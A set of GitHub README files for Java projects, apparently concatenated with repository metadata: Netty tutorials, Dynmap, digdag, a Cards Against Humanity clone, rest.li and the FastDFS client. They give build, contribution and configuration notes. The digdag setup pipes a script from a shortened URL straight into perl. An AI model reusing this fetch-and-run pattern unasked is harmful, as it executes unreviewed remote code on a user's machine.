# Netty-learning-example   [](https://github.com/sanshengshui/netty-learning-example/stargazers) [](https://github.com/sanshengshui/netty-learning-example/fork) [](https://github.com/sanshengshui/netty-learning-example/watchers) ## 前言: **You built it,You run it!** > **尚未完成，持续更新中...!** 备注: :wrench: :表示**施工中,尚未完成**; :memo: :表示**已完成,但是没有写博文**; :ok_hand: 表示**已完成,并有相应的博文**;  **什么是Netty?能做什么?** - [Netty](https://netty.io/)是一个致力于创建高性能网络应用程序的成熟的IO框架 - 相比较与直接使用底层的Java IO API, 你不需要先成为网络专家就可以基于Netty去构建复杂的网络 应用 - 业界常⻅的涉及到网络通信的相关中间件大部分基于Netty实现网络层,如下图所示:  本工程致力于netty实践学习案例,是netty初学者及核心技术巩固的最佳实践 ## a.『 基础 - 入门篇 』 - :ok_hand: : netty-helloworld <br> [《netty 之 telnet HelloWorld 详解》](https://www.cnblogs.com/sanshengshui/p/9726306.html)<br> ## b. 『 基础 - 通讯协议篇 』 - 👌 :netty-http<br> [《netty 之 高性能http服务器 详解》](https://www.cnblogs.com/sanshengshui/p/9774746.html)<br> - 👌 netty-springboot-protobuf <br> [《netty 之 netty整合springboot并使用protobuf进行传输》](https://www.cnblogs.com/sanshengshui/p/9741655.html)<br> - 👌 netty-mqtt 1. [《Netty实现高性能IOT服务器(Groza)之手撕MQTT协议篇上》](https://www.cnblogs.com/sanshengshui/p/9826009.html) 2. [《Netty实现高性能IOT服务器(Groza)之精尽代码篇中》](https://www.cnblogs.com/sanshengshui/p/9859030.html) ## c. 『 中级 - 数据传输篇 』 Netty碰上关系型数据库:monkey: - :memo:netty-jpa-mysql [《netty之jpa持久化数据至MySql》](https://github.com/sanshengshui/netty-learning-example/tree/master/netty-jpa-mysql)<br> Netty邂逅非关系数据库:horse: - :wrench:: netty-mybatis-mongodb [《netty之mybaits持久化数据之mongodb》](https://github.com/sanshengshui/netty-learning-example/tree/master/netty-mybatis-mongodb)<br> Netty助力流式计算:racehorse: - :wrench:: netty-kafka [《netty 之 netty 整合 Kafka producer》](https://github.com/sanshengshui/netty-learning-example/tree/master/netty-kafka)<br> ## d. 『 高级 - 高级应用篇 』 - 👌 :netty-IM<br> ​ :four_leaf_clover:微信从 2011 年 1 月 21 日诞生至今， ​ 已经成为国内数亿用户必不可少的即时通信工具，是男女老少手机中必备的顶级 App。Netty 是一个异步基于事件驱动的高性能网络通信框架，在互联网中间件领域网络通信层是无可争议的最强王者，两者强强联合又会擦出什么样的火花？下面给出一个优秀的小册,让大家快速掌握Netty! ​小册​作者​ ​闪电​侠​ [​G​i​t​H​u​b](https://github.com/lightningMan):four_leaf_clover: > 小册作者简介:某大型互联网公司基础架构部技术专家，主要做后台服务器的开发。精通 Netty，Spring，MyBatis，熟读互联网公司常见开发框架源码。负责公司各类长连项目的开发与维护，有千万级别实时在线连接，百亿吞吐的长连通信经验。 ​ [Netty 入门与实战：仿写微信 IM 即时通讯系统](https://juejin.im/book/5b4bc28bf265da0f60130116) - 👌 :netty-Rpc<br> :herb: 由于RPC的工程案例实在是太多，感觉我手写一个也没什么乐趣。 所以我挑选了蚂蚁金融服务集团实现的基于Netty网络通讯框架([SOFABolt](https://github.com/alipay/sofa-bolt))源码解读文章， 展示给阅读此工程的开发者。:herb: 1. [《简述RPC实现原理》](https://www.cnblogs.com/sanshengshui/p/9769517.html)<br> 2. [《蚂蚁通讯框架SOFABolt之私有通讯协议设计》](https://www.cnblogs.com/sanshengshui/p/10149217.html) 3. [《蚂蚁金服通讯框架SOFABolt解析 | 编解码机制》](https://mp.weixin.qq.com/s?__biz=MzUzMzU5Mjc1Nw==&mid=2247484406&idx=1&sn=da3e3364efc313d0014958f6f71aca17&chksm=faa0ec2ccdd7653a2ec0758c9339c0cee8c0380c7fe29f0c5d000e70bbb978cb39f3342a936f&mpshare=1&scene=1&srcid=0510q5Rte9Va9edQbJsPtd03&pass_ticket=lR9I%2BTYIxmASKZM%2F324MFsv%2FPM9jQWUssfKtnSeM%2B5YosiCJ%2B%2BEdZYUXkdDyeWqL#rd) 4. [《蚂蚁金服通讯框架SOFABolt解析 | 序列化机制(Serializer)》](https://mp.weixin.qq.com/s?__biz=MzUzMzU5Mjc1Nw==&mid=2247484425&idx=1&sn=a7162c88139e8faf25e7c321613a58be&chksm=faa0ebd3cdd762c59a02bff3f392a213452fde17b9b4317e37cab24470740bbc1adacfc12091&mpshare=1&scene=1&srcid=0510UsIkKm8Nd8ovZBzBXPXe&pass_ticket=lR9I%2BTYIxmASKZM%2F324MFsv%2FPM9jQWUssfKtnSeM%2B5YosiCJ%2B%2BEdZYUXkdDyeWqL#rd) 5. [《蚂蚁金服通信框架SOFABolt解析 | 协议框架解析》](https://mp.weixin.qq.com/s?__biz=MzUzMzU5Mjc1Nw==&mid=2247484442&idx=1&sn=10141f9a20199e608ce5fd7f11ee4e29&chksm=faa0ebc0cdd762d60cedbfb079444e3e6d35383f063e060947bbcb622f86db39fded94f306f4&mpshare=1&scene=1&srcid=0510gpUOmETxmQAxe1epagTl&pass_ticket=lR9I%2BTYIxmASKZM%2F324MFsv%2FPM9jQWUssfKtnSeM%2B5YosiCJ%2B%2BEdZYUXkdDyeWqL#rd) 6. [《蚂蚁金服通信框架SOFABolt解析 | 连接管理剖析》](https://mp.weixin.qq.com/s?__biz=MzUzMzU5Mjc1Nw==&mid=2247484457&idx=1&sn=151334a84ace245a04189735743c154a&chksm=faa0ebf3cdd762e566e1736f4dd958c23f1d48bfcd33ab7064715441426d9bc9c492eadb1b61&mpshare=1&scene=1&srcid=0510QYXE7uD9M0xonldbMIqK&pass_ticket=lR9I%2BTYIxmASKZM%2F324MFsv%2FPM9jQWUssfKtnSeM%2B5YosiCJ%2B%2BEdZYUXkdDyeWqL#rd) 7. [《蚂蚁金服通信框架SOFABolt解析|超时控制机制及心跳机制》](https://mp.weixin.qq.com/s?__biz=MzUzMzU5Mjc1Nw==&mid=2247484545&idx=1&sn=bf386f40d33215d79943eaeffa91daf6&chksm=faa0eb5bcdd7624d1d179a514767a95692dd244a44339acccdccdfd38f44c5479a0ca708e744&mpshare=1&scene=1&srcid=0510JAmEphYy3r81Kj4Bb9ue&pass_ticket=lR9I%2BTYIxmASKZM%2F324MFsv%2FPM9jQWUssfKtnSeM%2B5YosiCJ%2B%2BEdZYUXkdDyeWqL#rd) 👌 :netty-IOT ​ :ear_of_rice:随着技术的成熟，制造连接设备的成本正在下降。随之而来的是更广泛的物联网设备，从工业和企业应用到消费者家庭自动化（例如恒温器和智能空气过滤器）和智能汽车 - 甚至是连接内衣和牙线等眉毛般的“创新” 。连接和驱动这些设备的网络和技术（包括软件）正变得越来越强大。换句话说，就是能够实现事物互动的东西。:ear_of_rice: 1. [《IOT市场与高性能服务器实现之路》](https://www.cnblogs.com/sanshengshui/p/9797352.html)<br> 2. [《Netty实现高性能IOT服务器(Groza)之手撕MQTT协议篇上》](https://www.cnblogs.com/sanshengshui/p/9826009.html)<br> 3. [《Netty实现高性能IOT服务器(Groza)之精尽代码篇下》](https://www.cnblogs.com/sanshengshui/p/9859030.html) ------ 拓展实践: [软件工程师树莓派获取室内温湿度的坎坷之旅](https://www.cnblogs.com/sanshengshui/p/9942963.html) ## e. 『 高级 - Netty特性,源码篇 』 :mushroom: Redisson是一个在Redis的基础上实现的Java驻内存数据网格（In-Memory Data Grid）。它不仅提供了一系列的分布式的Java常用对象，还提供了许多分布式服务。其中包括(BitSet, Set, Multimap, SortedSet, Map, List, Queue ...) Redisson提供了使用Redis的最简单和最便捷的方法。Redisson的宗旨是促进使用者对Redis的关注分离（Separation of Concern），从而让使用者能够将精力更集中地放在处理业务逻辑上。:mushroom: 1. [《高性能/并发的保证-Netty在Redisson的应用》](https://www.cnblogs.com/sanshengshui/p/12669011.html)<br> ## f. 『 号外 - 相关知识归纳篇 』 - 👌 :语言指南(proto3)<br> [《Protobuf 语言指南(proto3)》](https://www.cnblogs.com/sanshengshui/p/9739521.html)<br> - 👌 :测试工具篇(Gatling)<br> - [x] [负载,性能测试工具-Gatling](https://www.cnblogs.com/sanshengshui/p/9747069.html) - [x] [Gatling简单测试SpringBoot工程](https://www.cnblogs.com/sanshengshui/p/9750478.html)

webbukkit/dynmap

A set of Minecraft mods that provide a real time web-based map system for various Minecraft server implementations.

2010-12-27T18:47:24Z

# Dynmap® - dynamic web maps for Minecraft servers # Jump around the README * [How to build](#how-to-build) * [What platforms are supported?](#what-platforms-are-supported) * [Data Storage](#data-storage) * [Contributing to Dynmap's Code](#contributing-to-dynmaps-code) * [Porting, Supporting Other Platforms, Customized Dynmap Builds](#porting-supporting-other-platforms-customized-dynmap-builds) * [Where to go for questions and discussions](#where-to-go-for-questions-and-discussions) * [Where to go to make donations](#where-to-go-to-make-donations) # How to build Dynmap 3.x+ uses Gradle v8.7 for building support for all platforms, with all resulting artifacts produced in the /targets directory. Due to Minecraft 1.18.x+ requirements, the developer's default JDK must be a JDK 21 version - older versions will still be compiled to run on the default JDK for those platforms (JDK 8 for 1.16 and earlier, JDK 16 for 1.17.x, JDK 17 for 1.18 to 1.20.4, JDK 21 for 1.20.5+), and common libraries are built using JDK 8. To build and get all jars in `target/`, run: ./gradlew setup build Or (on Windows): gradlew.bat setup build The Forge 1.12.2 versions (specifically ForgeGradle for these) are very sensitive to being built by JDK 8, so to build them, set JAVA_HOME to correspond to a JDK 8 installation, then build using the following; cd oldgradle ./gradlew setup build Or (on Windows): cd oldgradle gradlew.bat setup build Those familiar with gradle can save time by specifying a build (or commenting in settings.gradle) BUT this is not suitable for uploading DEV code changes. NOTE: PR code submissions MUST be built and TESTED for ALL platforms (including oldgradle), or be rejected and negatively influence future approvals. For more check [contributing rules](#contributing-to-dynmaps-code). ./gradlew :fabric-1.18:build # What platforms are supported? The following target platforms are supported, and you can find them at the links supplied: | Server type | Version | Dynmap JAR | Where? | | ------------ | ------- | ---------- | ------ | | Spigot/PaperMC | ≤1.20.5 | `Dynmap-<version>-spigot.jar` | [SpigotMC](https://www.spigotmc.org/resources/dynmap.274/) | | Spigot/PaperMC | ≤1.20.5 | `Dynmap-<version>-spigot.jar` | [Bukkit](https://dev.bukkit.org/projects/dynmap) | | Forge | 1.12.2 | `Dynmap-<version>-forge-1.12.2.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge)| | Forge | 1.14.4 | `Dynmap-<version>-forge-1.14.4.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge)| | Forge | 1.15.2 | `Dynmap-<version>-forge-1.15.2.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge)| | Forge | 1.16.5 | `Dynmap-<version>-forge-1.16.5.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Forge | 1.17.1 | `Dynmap-<version>-forge-1.17.1.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Forge | 1.18.2 | `Dynmap-<version>-forge-1.18.2.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Forge | 1.19.3, 1.19.4 | `Dynmap-<version>-forge-1.19.3.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Forge | 1.20, 1.20.1 | `Dynmap-<version>-forge-1.20.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Forge | 1.20.2 | `Dynmap-<version>-forge-1.20.2.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Forge | 1.20.4 | `Dynmap-<version>-forge-1.20.4.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Fabric | 1.15.2 | `Dynmap-<version>-fabric-1.15.2.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Fabric | 1.16.4, 1.16.5 | `Dynmap-<version>-fabric-1.16.4.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Fabric | 1.17.1 | `Dynmap-<version>-fabric-1.17.1.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Fabric | 1.18.2 | `Dynmap-<version>-fabric-1.18.2.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Fabric | 1.19.4 | `Dynmap-<version>-fabric-1.19.4.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Fabric | 1.20, 1.20.1 | `Dynmap-<version>-fabric-1.20.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Fabric | 1.20.2 | `Dynmap-<version>-fabric-1.20.2.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | | Fabric | 1.20.4 | `Dynmap-<version>-fabric-1.20.4.jar` | [Curseforge](https://www.curseforge.com/minecraft/mc-mods/dynmapforge) | # Data Storage Dynmap supports the following storage backends: - Flat files: The default for a new installation - MySQL† - SQLite† - PostgreSQL (JDBC driver for this is now bundled with the Dynmap JAR) - MariaDB - is compatible with MySQL - AWS S3 (allows S3 bucket to be used for storage AND as web site host) - †Note: drivers for SQL are usually included for Spigot and its derivatives but not included with other platforms or Dynmap. For Forge and Fabric servers we recommend Kosma's [SQLite mod](https://www.curseforge.com/minecraft/mc-mods/sqlite-jdbc) or [MySQL mod](https://www.curseforge.com/minecraft/mc-mods/mysql-jdbc) to add the needed drivers. Additionally, injecting driver classes into jar file will be recognized and supported. # Contributing to Dynmap's Code The Dynmap team welcomes Pull Requests with fixes, new features, and new platform support. That said, the following rules apply: - Ultimately, we reserve the right to accept or deny a PR for any reason: fact is, by accepting it, we're also accepting any of the problems with supporting it, explaining it to users, and fixing current and future problems - if we don't think the PR is of value consistent with that cost, we'll probably not accept it. - All PRs should be as small as they can be to accomplish the feature or fix being supplied. To that end: - Do not lump multiple features into one PR - you'll be asked to split them up before they will be reviewed or accepted - Do not make style changes, reflow code, pretty printing, or otherwise make formatting-only code changes. This makes the PR excessively large, creating changes to be reviewed that don't actually do anything (but we have to review them to be sure they aren't being used to disguise security compromises or other malicious code), and they create problems with the MANY people who fork Dynmap for the sake of doing PRs or their own private custom builds - since all theose modified lines create merge conflicts - once again, with no actual function having been accomplished. If we decide the code needs to be 'prettied up', it'll be done by the Dynmap team. - Do not make changes to core code (anything in DynmapCore or DynmapCoreAPI) unless you're ready to build and test it on all supported platforms. Code that breaks building of ANY supported platform will be rejected. - Likewise, any Spigot related changes are expected to function correctly on all supported Spigot and PaperMC versions (currently 1.10.2 through 1.18.1). - Do not include any code that involves platform specific native libraries or command line behaviors. Dynmap supports 32-bit and 64-bit, Windows, lots of Linux versions (both x86 and ARM), MacOS, being used in Docker environments, and more - this is all about staying as 'pure Java' as the Minecraft server itself is. If your PR includes platform specific dependencies that are not coded to handle working on all the above platforms properly, the PR will be rejected. - Dynmap's code is Apache Public License v2 - do not include any code that is not compatible with this license. By contributing code, you are agreeing to that code being subject to the APL v2. - Do not include any code that unconditionally adds to Dynmap's hosting requirements - for example, support for a database can be added, but the use of the database (which likely depends on a database server being deployed and configured by the user) cannot become an unconditional requirement in order to run Dynmap. Features can add the option to exploit new or additional technologies, but cannot add unconditionally to the minimum requirements on the supported platforms (which is what is needed to run the corresponding MC server, plus the Dynmap plugin or mod) - Dynmap is built and supports running on Java 8 - it can run on newer versions, but any contributed code and dependencies MUST support being compiled and run using just Java 8. - Don't introduce other language dependencies - Java only: no Kotlin, Scala, JRuby, whatever. They just add runtime dependencies that most of the platforms lack, and language skills above and beyond the Java language requirements the code base already mandates, which just creates obstacles to other people contributing. - Similarly, do not update existing libraries and dependencies - these are often tied to the versions on various platforms, and updates will likely break runtime - Do not include code specific to other plugins or mods. Dynmap has APIs for the purpose of avoiding the problem of working with other mods - there are many 'Dynmap-XXX' mods and plugins which use the APIs to provide support for other mods and plugins (WorldGuard, Nucleus, Citizens, dozens of others). Maintaining interfaces in Dynmap particular to dozens of mods on multiple versions of multiple platforms is unmanageable, so we don't do it. The ONLY exception currently are security mods - although, even for those, leverage of platform-standard security interfaces is always preferred (e.g. Sponge or Bukkit standard permissions) # Porting, Supporting Other Platforms, Customized Dynmap Builds While Dynmap is open source, subject to the Apache Public License, v2, the Dynmap team does have specific policies and requirements for anyone that would use the code here for anything except building contributions submitted back to this code base as Pull Requests (which is the only process by which code is accepted and can become part of a release supported by the Dynmap team). Other authorized uses include: - Building custom version of Dynmap for use on a personal or on a specific server, so long as this version is NOT distributed to other parties. The modifying team agrees to not pursue support from the Dynmap team for this modified private version, but is otherwise not required to share the modified source code - though doing so is encouraged. - Building a modified version of Dynmap for otherwise unsupported platforms: in this event, the modified version MUST be for a platform or version not yet (or no longer) supported by the Dynmap team. If the Dynmap team comes to support this platform or version, the modifying team must agree to cease distribution of the unofficial version, unless otherwise authorized to continue doing so. Further: - The team distributing the modified version must cite the origin of the Dynmap code, but must also clearly indicate that the version is NOT supported by nor endorsed by the Dynmap team, and that ALL support should be directed through the team providing the modified version. - Any modified version CANNOT be monetized or otherwise charged for, under any circumstances, nor can redistribution of it be limited or restricted. - The modified code must continue to be Apache Public License v2, with no additional conditions or restrictions, including full public availability of the modified source code. - Any code from Dynmap used in such versions should be built from an appropriate fork, as DynmapCore and other components (other than DynmapCoreAPI and dynmap-api) are subject to breaking changes at any time, and the support messages in DynmapCore MUST be modified to refer to the supporting team (or, at least, removed). The modified version should NOT refer to the Dynmap Discord nor to /r/Dynmap on Reddit for support. in any case. - Any bugs or issues opened in conjunction with the use of the modified version on this repository will be closed without comment. Additions of new functions, including new platform support, in this official Dynmap code base MUST be fully contained within the PRs submitted to this repository. Further, it is always expected than any updates will be built and tested across all relevant platforms - meaning any chances to shared code components (DynmapCore, DynmapCoreAPI) MUST be successfully built and tested on ALL supported platforms (Forge, Spigot, etc). Changes which break supported platforms will be rejected. The only interfaces published and maintained as 'stable' are the interfaces of the DynmapCoreAPI (cross platform) and dynmap-api (Bukkit/spigot specific) libraries. All other components are NOT libraries - DynmapCore, in particular, is a shared code component across the various platforms, but is subject to breaking changes without warning or consideration - any use of DynmapCore interfaces by code outside this repository is NOT supported, and will likely result in breaking of such consuming code without warning and without apology. DynmapCore is an internal shared code component, not a library - please treat it accordingly. Plugins or mods using the published APIs - DynmapCoreAPI (for all platforms) or dynmap-api (only for Spigot/Bukkit) - may access these components as 'compile' dependencies: DO NOT INTEGRATE THEM INTO YOUR PLUGIN - this will break Dynmap and/or other plugins when these interfaces are updated or expanded. These libraries are published at https://repo.mikeprimm.com and will be updated each official release. # Where to go for questions and discussions We have a Discord located at https://discord.gg/52pqBpw We also have a subreddit located at https://www.reddit.com/r/Dynmap/ # Where to go to make donations I've set up a coffee-fund jar (I believe in the theory that software developers are machines that turn caffeine into code), for anyone who wants to throw in some tips! I've got a Patreon here - https://www.patreon.com/dynmap, and for folks just looking to for a one-time coffee buy, hit my Ko-Fi at https://ko-fi.com/michaelprimm ! Dynmap is a registered trademark of Michael Primm, TX USA. All Rights Reserved.

alibaba/jvm-sandbox-repeater

A Java server-side recording and playback solution based on JVM-Sandbox

2019-07-03T08:12:04Z

treasure-data/digdag

Workload Automation System

2015-09-18T23:18:08Z

# Digdag [](https://dl.circleci.com/status-badge/redirect/gh/treasure-data/digdag/tree/master) [](https://github.com/treasure-data/digdag/actions) ## [Documentation](https://docs.digdag.io) Please check [digdag.io](https://digdag.io) and [docs.digdag.io](https://docs.digdag.io) for installation & user manual. REST API document is available at [docs.digdag.io/api](http://docs.digdag.io/api/). ## Release Notes The list of release note is [here](https://github.com/treasure-data/digdag/tree/master/digdag-docs/src/releases). ## Development ### Prerequirements * JDK 8 * Node.js 12.x Installing Node.js using nodebrew: ``` $ curl -L git.io/nodebrew | perl - setup $ echo 'export PATH=$HOME/.nodebrew/current/bin:$PATH' >> ~/.bashrc $ source ~/.bashrc $ nodebrew install-binary v12.x $ nodebrew use v12.x ``` Installing Node.js using Homebrew on Mac OS X: ``` $ brew install node ``` * Python 3 * sphinx * sphinx_rtd_theme * recommonmark ### Running tests ``` $ ./gradlew check ``` Test coverage report is generated at `didgag-*/build/reports/jacoco/test/html/index.html`. Findbugs report is generated at `digdag-*/build/reports/findbugs/main.html`. ``` $ CI_ACCEPTANCE_TEST=true ./gradlew digdag-tests:test --info --tests acceptance.BuiltInVariablesIT ``` To execute tests in digdag-tests subproject locally, `tests` option that is provided by Gradle is useful. Environment variable `CI_ACCEPTANCE_TEST=true` is needed to execute digdag-tests. ### Testing with PostgreSQL Test uses in-memory H2 database by default. To use PostgreSQL, set following environment variables: ``` $ export DIGDAG_TEST_POSTGRESQL="$(cat config/test_postgresql.properties)" ``` ### Building CLI executables ``` $ ./gradlew cli $ ./gradlew cli -PwithoutUi # build without integrated UI ``` (If the command fails during building UI due to errors from `node` command, you can try to add `-PwithoutUi` argument to exclude the UI from the package). It makes an executable in `pkg/`, e.g. `pkg/digdag-$VERSION.jar`. ### Develop digdag-ui Node.js development server is useful because it reloads changes of digdag-ui source code automatically. First, put following lines to ~/.config/digdag/config and start digdag server: ``` server.http.headers.access-control-allow-origin = http://localhost:9000 server.http.headers.access-control-allow-headers = origin, content-type, accept, authorization, x-td-account-override, x-xsrf-token, cookie server.http.headers.access-control-allow-credentials = true server.http.headers.access-control-allow-methods = GET, POST, PUT, DELETE, OPTIONS, HEAD server.http.headers.access-control-max-age = 1209600 ``` Then, start digdag-ui development server: ``` $ cd digdag-ui/ $ npm install $ npm run dev # starts dev server on http://localhost:9000/ ``` ### Updating REST API document Run this command to update REST API document file at digdag-docs/src/api/swagger.yaml. ``` ./gradlew swaggerYaml # dump swagger.yaml file ``` Use `--enable-swagger` option to check the current Digdag REST API. ``` $ ./gradlew cli $ ./pkg/digdag-<current version>.jar server --memory --enable-swagger # Run server with --enable-swagger option $ docker run -dp 8080:8080 swaggerapi/swagger-ui # Run Swagger-UI on different console $ open http://localhost:8080/?url=http://localhost:65432/api/swagger.json # Open api/swagger.json on Swagger-UI ``` ### Updating documents Documents are in digdag-docs/src directory. They're built using Sphinx. Website is hosted on [www.digdag.io](http://www.digdag.io) using Github Pages. Pages are built using deployment step of circle.yml and automatically pushed to [gh-pages branch of digdag-docs repository](https://github.com/treasure-data/digdag-docs/tree/gh-pages). To build the pages and check them locally, follow this instruction. Create a virtual environment of Python and install dependent Python libraries including Sphinx. ``` $ python3 -m venv .venv $ source .venv/bin/activate (.venv)$ pip install -r digdag-docs/requirements.txt -c digdag-docs/constraints.txt ``` After installation of Python libraries, You can build with running the following command: ``` (.venv)$ ./gradlew site ``` This might not always update all necessary files (Sphinx doesn't manage update dependencies well). In this case, run `./gradlew clean` first. It builds index.html at digdag-docs/build/html/index.html. ### Development on IDEs #### IntelliJ IDEA Digdag is using a Java annotation processor `org.immutables:value.` The combination of Java annotation processing and Gradle on IntelliJ IDEA sometimes introduces some troubles. In Digdag's case, you may run into some compile errors like `cannot find symbol: class ImmutableRestWorkflowDefinitionCollection.` So we'd recommend the followings to avoid those compile errors if you want to develop Digdag one the IDE. 1. There's an important configuration option to be enabled to fully have IntelliJ be fully integrated with an existing gradle build configuration: `Delegate IDE build/run actions to gradle` needs to be enabled.  ## Releasing a new version This is for committers only. ### Prerequisite: Sonatype OSSRH You need an account in Sonatype OSSRH, and configure it in your `~/.gradle/gradle.properties`. ossrhUsername=(your Sonatype OSSRH username) ossrhPassword=(your Sonatype OSSRH password) ### Prerequisite: PGP signatures You need your PGP signatures to release artifacts into Maven Central, and configure Gradle to use your key to sign. Configure it in your `~/.gradle/gradle.properties`. ``` signing.gnupg.executable=gpg signing.gnupg.useLegacyGpg=false signing.gnupg.keyName=(the last 8 symbols of your keyId) signing.gnupg.passphrase=(the passphrase used to protect your private key) ``` ### Release procedure As mentioned in the prerequirements, we need to build with JDK 8 in this procedure. 1. run `git pull upstream master --tags`. 1. run `./gradlew setVersion -Pto=<version>` command. 1. write release notes to `releases/release-<version>.rst` file. It must include at least version (the first line) and release date (the last line). 1. run `./gradlew clean cli site check releaseCheck`. 1. make a release branch. `git checkout -b release_v<version>` and commit. 1. push the release branch to origin and create a PR. 1. after the PR is merged to master, checkout master and pull latest upstream/master. 1. run `./gradlew clean cli site check releaseCheck` again. 1. if it succeeded, run `./gradlew release`. 1. create a tag `git tag -a v<version>` and push `git push upstream v<version>` 1. create a release in [GitHub releases](https://github.com/treasure-data/digdag/releases). 1. upload `pkg/digdag-<version>.jar` to the release 1. a few minutes later, run `digdag selfupdate` and confirm the version. If major version is incremented, also update `version =` and `release =` at [digdag-docs/src/conf.py](digdag-docs/src/conf.py). If you are expert, skip 5. to 7. and directly update master branch. ### Post-process of new release You also need following steps after new version has been released. 1. create next snapshot version, run `./gradlew setVersion -Pto=<next-version>-SNAPSHOT`. 1. push to master. ### Releasing a SNAPSHOT version ``` ./gradlew releaseSnapshot ``` **Note** Snapshot release is not supported currently.

ajanata/PretendYoureXyzzy

A web clone of the card game Cards Against Humanity.

2012-02-06T23:06:06Z

Pretend You're Xyzzy =================== A Cards Against Humanity clone, server and web client. See WebContent/license.html for full details. Note: This project is only known to work with Tomcat 7, all other versions are unsupported. Currently, the only way to build PYX is using Maven via ```mvn clean package war:war``` in the project's directory. If you're doing ```mvn clean package war:exploded jetty:run```, you now need to add ```-Dmaven.buildNumber.doCheck=false -Dmaven.buildNumber.doUpdate=false``` to make the buildnumber plugin allow you to run with uncommited changes. For GeoIP functions to work, download http://geolite.maxmind.com/download/geoip/database/GeoLite2-City.mmdb.gz somewhere, gunzip it, and update the geoip.db value in build.properties to point to it. ## Third-Party Usage A Docker package for this project exists at [emcniece/DockerYourXyzzy](https://github.com/emcniece/DockerYourXyzzy): ```sh docker run -d -p 8080:8080 emcniece/dockeryourxyzzy:dev ```

linkedin/rest.li

Rest.li is a REST+JSON framework for building robust, scalable service architectures using dynamic discovery and simple asynchronous APIs.

2012-11-30T19:37:51Z

<p style="color:red;"><b>At LinkedIn, we are focusing our efforts on advanced automation to enable a seamless, LinkedIn-wide migration from Rest.li to <a href="https://grpc.io/">gRPC</a>. gRPC will offer better performance, support for more programming languages, streaming, and a robust open source community. There is no active development at LinkedIn on new features for Rest.li. The repository will also be deprecated soon once we have migrated services to use gRPC. Refer to <a href="https://engineering.linkedin.com/blog/2023/linkedin-integrates-protocol-buffers-with-rest-li-for-improved-m">this blog</a> for more details on why we are moving to gRPC.</b></p> <p align="center"> <img src="https://github.com/linkedin/rest.li/wiki/restli-logo-white-small.png"/> </p> Rest.li is an open source REST framework for building robust, scalable RESTful architectures using type-safe bindings and asynchronous, non-blocking IO. Rest.li fills a niche for applying RESTful principles at scale with an end-to-end developer workflow for building REST APIs, which promotes clean REST practices, uniform interface design and consistent data modeling. <p align="center"><a href="https://github.com/linkedin/rest.li">Source</a> | <a href="https://rest.li">Documentation</a> | <a href="https://www.linkedin.com/groups/4855943/">Discussion Group</a></p> Features -------- * [End-to-end framework](https://linkedin.github.io/rest.li/user_guide/server_architecture#development-flow) for building RESTful APIs * Approachable APIs for writing non-blocking client and server code using [ParSeq](https://github.com/linkedin/parseq) * Type-safe development using generated data and client bindings * [JAX-RS](http://en.wikipedia.org/wiki/Java_API_for_RESTful_Web_Services) inspired annotation driven server side resource development * Engineered and battle tested for high scalability and high availability * Optional [Dynamic Discovery](https://linkedin.github.io/rest.li/Dynamic_Discovery) subsystem adds client side load balancing and fault tolerance * Backward compatibility checking to ensure all API changes are safe * Support for batch operations, partial updates and projections * [Web UI](https://github.com/linkedin/rest.li-api-hub) for browsing and searching a catalog of rest.li APIs. Website ------- [https://rest.li](https://rest.li) Documentation ------------- See our [website](https://rest.li) for full documentation and examples. Community --------- * Discussion Group: [LinkedIn Rest.li Group](https://www.linkedin.com/groups/4855943/) * Follow us on Twitter: [@rest_li](https://twitter.com/rest_li) * Issue Tracking: [GitHub issue tracking](https://github.com/linkedin/rest.li/issues) Quickstart Guides and Examples ------------------------------ * [Quickstart - a step-by-step tutorial on the basics](https://linkedin.github.io/rest.li/start/step_by_step) * [Guided walkthrough of an example application](https://linkedin.github.io/rest.li/get_started/quick_start)

happyfish100/fastdfs-client-java

FastDFS java client SDK

2014-12-07T03:19:50Z

# FastDFS java client SDK FastDFS Java Client API may be copied only under the terms of the BSD license. ## 使用ant从源码构建 ``` ant clean package ``` ## 使用maven从源码安装 ``` mvn clean install ``` ## 使用maven从jar文件安装 ``` mvn install:install-file -DgroupId=org.csource -DartifactId=fastdfs-client-java -Dversion=${version} -Dpackaging=jar -Dfile=fastdfs-client-java-${version}.jar ``` ## 在您的maven项目pom.xml中添加依赖 ```xml <dependency> <groupId>org.csource</groupId> <artifactId>fastdfs-client-java</artifactId> <version>1.31-SNAPSHOT</version> </dependency> ``` ## .conf 配置文件、所在目录、加载优先顺序 配置文件名fdfs_client.conf(或使用其它文件名xxx_yyy.conf) 文件所在位置可以是项目classpath(或OS文件系统目录比如/opt/): /opt/fdfs_client.conf C:\Users\James\config\fdfs_client.conf 优先按OS文件系统路径读取，没有找到才查找项目classpath，尤其针对linux环境下的相对路径比如： fdfs_client.conf config/fdfs_client.conf ``` connect_timeout = 2 network_timeout = 30 charset = UTF-8 http.tracker_http_port = 80 http.anti_steal_token = no http.secret_key = FastDFS1234567890 tracker_server = 10.0.11.247:22122 tracker_server = 10.0.11.248:22122 tracker_server = 10.0.11.249:22122 connection_pool.enabled = true connection_pool.max_count_per_entry = 500 connection_pool.max_idle_time = 3600 connection_pool.max_wait_time_in_ms = 1000 ``` 注1：tracker_server指向您自己IP地址和端口，1-n个 注2：除了tracker_server，其它配置项都是可选的 ## .properties 配置文件、所在目录、加载优先顺序 配置文件名 fastdfs-client.properties(或使用其它文件名 xxx-yyy.properties) 